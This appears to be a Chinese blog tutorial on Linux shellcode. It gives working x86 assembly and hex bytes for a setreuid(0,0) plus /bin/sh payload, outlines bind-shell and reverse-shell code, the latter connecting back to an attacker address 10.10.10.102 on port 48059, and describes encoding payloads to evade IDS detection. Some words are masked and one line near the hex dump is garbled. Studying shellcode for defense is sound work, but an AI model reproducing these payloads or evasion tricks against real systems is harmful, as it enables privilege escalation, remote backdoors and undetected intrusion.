对于初期接触网络安全的人来说,Shellcode是很神秘的东西,对于网络***过程中的嗅探信息、漏洞剖析都是可以理解的,但真正利用漏洞***时,通过把一段二进制码送入后并执行,就可以获得目标机器的控制权,之后的事情是属于爱好者学习技术,还是***的行为,就看***者的一念之差了。Shellcode就好象神秘的武器,安全防护变得如此不堪一击。Shellcode究竟是什么样的程序?是什么特殊代码?如何才能学会编写?我下面收集了几类常见的Shellcode,主要是学习使用。它其实也是一般的软件程序,主要是因为二进制码的“不可读性”,增加了神秘色彩。
 
Shellcode是指能完成特殊任务的自包含的二进制代码,根据不同的任务可能是发出一条系统调用或建立一个高权限的ShellShellcode也就由此得名。它的最终目的是取得目标机器的控制权,所以一般被***者利用系统的漏洞送入系统中执行,从而获取特殊权限的执行环境,或给自己设立有特权的帐户。Shellcode因操作系统有一些差异,这里以Linux为例。
Shellcode是一段高技巧的软件代码,为了小而精,一般直接写为16进制的操作码,当然编写者一般采用C或汇编编写,然后通过汇编程序成为16进制的操作码。
 
1、获取特殊权限:***的目标通常是某个SUID(具有高权限的系统程序)程序,因为它可以具有较高的特权去执行一些命令(比如修口令等),好的SUID程序会在不必要时放弃过高的特权,需要时再重新设置获取特权。Setreuid是用来设置(恢复)进程的真实和有效的用户ID。当然也就可以设置root(0)的权限。
xor ebx,ebx     参数一:真实用户id(ruid)=0
xor ecx,ecx     参数二:有效用户id(euid)=0
xor eax,eax
mov al,0x46     系统调用0x46
int 0x80        设置setreuid(0,0)
有了root(0)用户权限,系统基本就归你指挥了。
 
2、执行/bin/sh 有了特权,还要有个“工作室”,shellLinux常用的控制台,取得一个有特权的shell,就可以让你“随意”工作了。建立一个shell并不复杂,一般采用execve调用执行/bin/sh软件
char *shell[2]
 shell[0]=”/bin/sh”;
 shell[1]=0;
execve(shell[0],shell,NULL);
该调用C语言编写很简单,对应的汇编代码也不复杂:
xor eax,eax         eax=0
push eax            eax=null
push 0x68732f2f     压栈 //sh
push 0x6e69622f     压栈 /bin
mov ebx,esp         ebx=esp指向/bin/sh
push eax            eax=null 结束栈null
push ebx            参数2   ebx指向/bin/sh
mov ecx,esp         参数3   ecx指向[“/bin/sh”,NULL]
xor edx,edx          参数4  edx=NULL
mov al,0xb           参数1  eax=0xb
int 0x80
 
综合以上两个部分,就是最常见的Shellcode了,具体生成的16进制代码如下(35个字节)
\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80            ;setreuid(0,0)
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1
\x31\xd2\xb0\x0b\xcd\x80                          ;/bin/sh
root(0)shell
ShellcodeSQLShellcodeShellcodeShell
 
3、绑定到端口的Shellcode
shellcode在目标计算机上打开一个端口(通讯服务),并将Shell绑定到该端口,***者可以放弃***时的用的端口,等于在目标机器上建立了系统的后门。该端口可以为***者随时建立连接,因为是打开了shell,所以等于建立远程控制目标的控制台。
开启服务离不开SocketSocket定义为一个端口和一个IP到一个进程的绑定。
a) 建立本地IP SocketTCP
 int server
 server=socket(2,1,0)
b) IP和端口建立一个Sockaddr_in结构
 struct sockaddr_in server_addr
   server_addr.sin_addr.s_addr=0         socket的地址设为本地地址
   server_addr.sin_port=0xBBBB         socket的端口设为0xBBBB=48059
   server_addr.sin_family=2              协议族为IP
c) 将端口和IP绑定到Socket
 bind(server, (struct sockaddr *)&server_addr, 0x10)
d) 以监听模式启动socket:打开端口并等待连接
 listen(server, 0)
e) 有连接时,向客户返回一个句柄
 int client
client=accept(server, 0, 0)
f) 将返回的句柄,复制到stdinstdoutstderrshell输出到***者(client)的屏幕
 dup2(client,0)
 dup2(client,1)
 dup2(client,2)
g) 调用普通的execve执行shellcode
 char *shell[2]
shell[0]=”/bin/sh”
    shell[1]=0
execve(shell[0], shell, 0)
 
4、反向连接的shellcode
当目标计算机在防火墙后时,防火墙不允许外边的计算机主动访问目标机器。所以即使采用上边的shellcode建立了服务后门,你还是不能与目标计算机建立连接。反向连接的含义就是,让目标计算机通过特定的IP(***者的)和端口反向连接到***者,也可以设定为在固定的时间段主动来建立连接。
很多***就利用这种方式,主动连接带***的管理者,“神不知,鬼不觉”地把目标计算机加入到某个“僵尸网络”的黑社会团伙中。
a) 建立本地IP SocketTCP
 int soc
 soc=socket(2,1,0)
b) IP和端口建立一个Sockaddr_in结构
 struct sockaddr_in server_addr
    server_addr.sin_addr.s_addr=0x660A0A0A   socket的地址设为10.10.10.102
    server_addr.sin_port=0xBBBB             socket的端口设为0xBBBB=48059
    server_addr.sin_family=2                 协议族为IP
c) 建立反向连接connect
 int remote
remote=connect(soc, (struct sockaddr*)&server_addr, 0x10)
d) socket复制到stdinstdoutstderrshell输出到***者的屏幕
 dup2(soc,0)
 dup2(soc,1)
 dup2(soc,2)
e) 调用普通的execve执行shellcode
 char *shell[2]
shell[0]=”/bin/sh”
    shell[1]=0
execve(shell[0], shell, 0)
注意:10.10.10.102为防火墙外***机器的地址,此时在该机器上要启动一个监听48059端口的服务
 
5、躲避IDS的过滤
由于经典的Shellcode并不是有很多的版本,大多数人员都是采用同样的Shellcode,很少有人自己编写。所以IDS厂商把常见的Shellcode的指纹提取出来,作为验证***行为的“特征”,很多***行为就暴露在IDS的监控之下,网络管理人员可以很快知道你到了他的网络内部,进而采取“捕获”措施。
所以,隐藏指纹,变换代码,Shellcode也在不断更新。技术很多,这里就不例举了,提一个有意思的思路:因为Shellcode的基本功能相同,都是诱使目标机器执行这些指令,目标代码在传输和存放时是很容易被IDS或系统察觉的,那么直到被执行前才恢复原来面貌是一个好注意。所以有人通过把代码简单移位,“加密”后的代码没有任何“意义”,到执行前再反向移位,被检测到的概率就小多了,这种方式对躲避IDS是很有效果的。